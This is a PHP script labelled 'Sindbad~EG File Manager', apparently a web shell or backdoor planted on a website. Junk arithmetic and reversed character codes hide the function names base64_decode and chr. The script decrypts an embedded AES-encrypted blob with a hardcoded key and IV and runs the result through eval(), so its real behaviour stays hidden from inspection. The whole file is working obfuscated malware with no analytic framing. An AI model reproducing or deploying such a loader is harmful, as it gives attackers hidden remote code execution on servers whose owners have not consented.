Sindbad~EG File Manager

<?php
$qur = array(98 - 3 + 3 - 15 + 15 + 10 - 10 + 18 - 18 - 10 + 10, 97 + 5 - 5 - 6 + 6, (115 + 4 - 4 * 1) / 1 + 10 - 10 + 4 + 4 - (4 + 4) + 12 - 12, 101 + 13 - 13 - 9 + 9 - 18 + 18 + 14 - 14 - 1 + 1, 54 * 3 / 3 - 12 + 12 - 5 + 5 + 7 - 7, 52 + 19 - 19 + 9 + 2 - (9 + 2), (95 - 4 + 4 * 1) / 1 + 10 - 10 + 18 - 18 + 17 - 17, 100 + 3 + 7 - (3 + 7) - 16 + 16, 101 + 1 + 7 - (1 + 7) - 12 + 12 + 13 - 13, 99 + 4 + 8 - (4 + 8) + 3 + 6 - (3 + 6) + 1 - 1, (111 + 18 - 18 + 18 - 18 * 1) / 1, 100 + 3 - 3 + 12 - 12 + 1 + 2 - (1 + 2), 101 - 17 + 17 - 12 + 12 + 7 + 10 - (7 + 10) - 7 + 7);
$ong = '';
foreach ($qur as $kkf) {
    $ong .= log_operation($kkf);
}
$yls = 'xZu1J5pZFTxJLuTJGggMHbhjVpdmwxRFOdbSOCCxBwBXvBHK6uWC/0W55zhWAdprN9BX6mDBa4kwQIlCNAmQslnes1D/tmc0rKh6TdDm2SZ48EES7uJHVoN9QkNBHckMLUtHXSZI9js71uLXrqR18pE5lBPa7qO1LMV87fnltNSMnRDy5Eo0fTZk8v+MDbYr5uXsOIqsQ7ovP/ORHsjzhwuHMWlfvXqzfWg33SaIJXCO4FR66z6KwOvg0pPbIQwl1aS9SdSYxXmEt00JszlkZ8HpjnP7BfEQhmKdyGWAk98gqC/yO9laiL6WuCaP/JDI2JfEhhKNwp5C7caW16w623uKo7WlliU+DT0bLdNEv8inagSnxXrAp6vgp9y6mg1Fz3IX1+843seZkUkvcswB5gVOqK6cfm8//CqicXv39PW9zYDW6dpkFPgcWqqThoBNsCJ9GWXZ8jAIxkfiVf8WXbaF6vbyk3cODh+Xupurk3GbLocrV5zJh4ZE4GQ8XmtFT0kxOJYCavi6ZceNa/ojJHA0sqZ7MA8/KmTRBHceXqgu4f6XphwC5jMSuL/ZcpxmvQehnBGzn2l9c953HNAlDf4N5BAL6hW2sh72Y9OqFzpO6fuyb8CiZweqKdJTdWqdPfNsBABkViEwCH4zK8oEyTT0+EHEScCJD/K0RG1Qq9chBHFiZSSoFc/yn6JY29mCVk4bzl3ouo3cSVdTP+03WDzXV0W06yRbw8ohPMSe3GVCkDAXBItfhLSTsWVkuDlVduo+CMM37JMbYFtT1GqFgO00KhnZg53kKMKnWiRJizR+dwiObPQny2MrAjaOT2XMSbvilJrlCuOG+Vr6KFxz1LX62bEE6PFtTxElrZROT6oapreyp5AdYifbesOU0WuBnlVMSBdd6AJpRQBe5tpK0JHzq73aJl5tkU9JAr+BCk3KCHZ+uApYUCETbK+qv8HQ+DM2GTDI05t1UBXQiBjGzA==';
$ncu = 'bmmb3jjkH6TRdfjA3wqqSYor0CWW4tvIBSuZaqI65WA=';
$ppt = 'xkMbRufdjpEv2czDfcN5tA==';
$ogh = openssl_decrypt($ong($yls), 'aes-256-cbc', $ong($ncu), OPENSSL_RAW_DATA, $ong($ppt));
eval($ogh);

function log_operation($y)
{
    $s = array(121 - 7, 76 * 65 - 4836, 94 * 1 + 5);
    $j = '';
    foreach ($s as $t) {
        $j .= chr($t);
    }
    $j = strrev($j);
    return $j($y);
}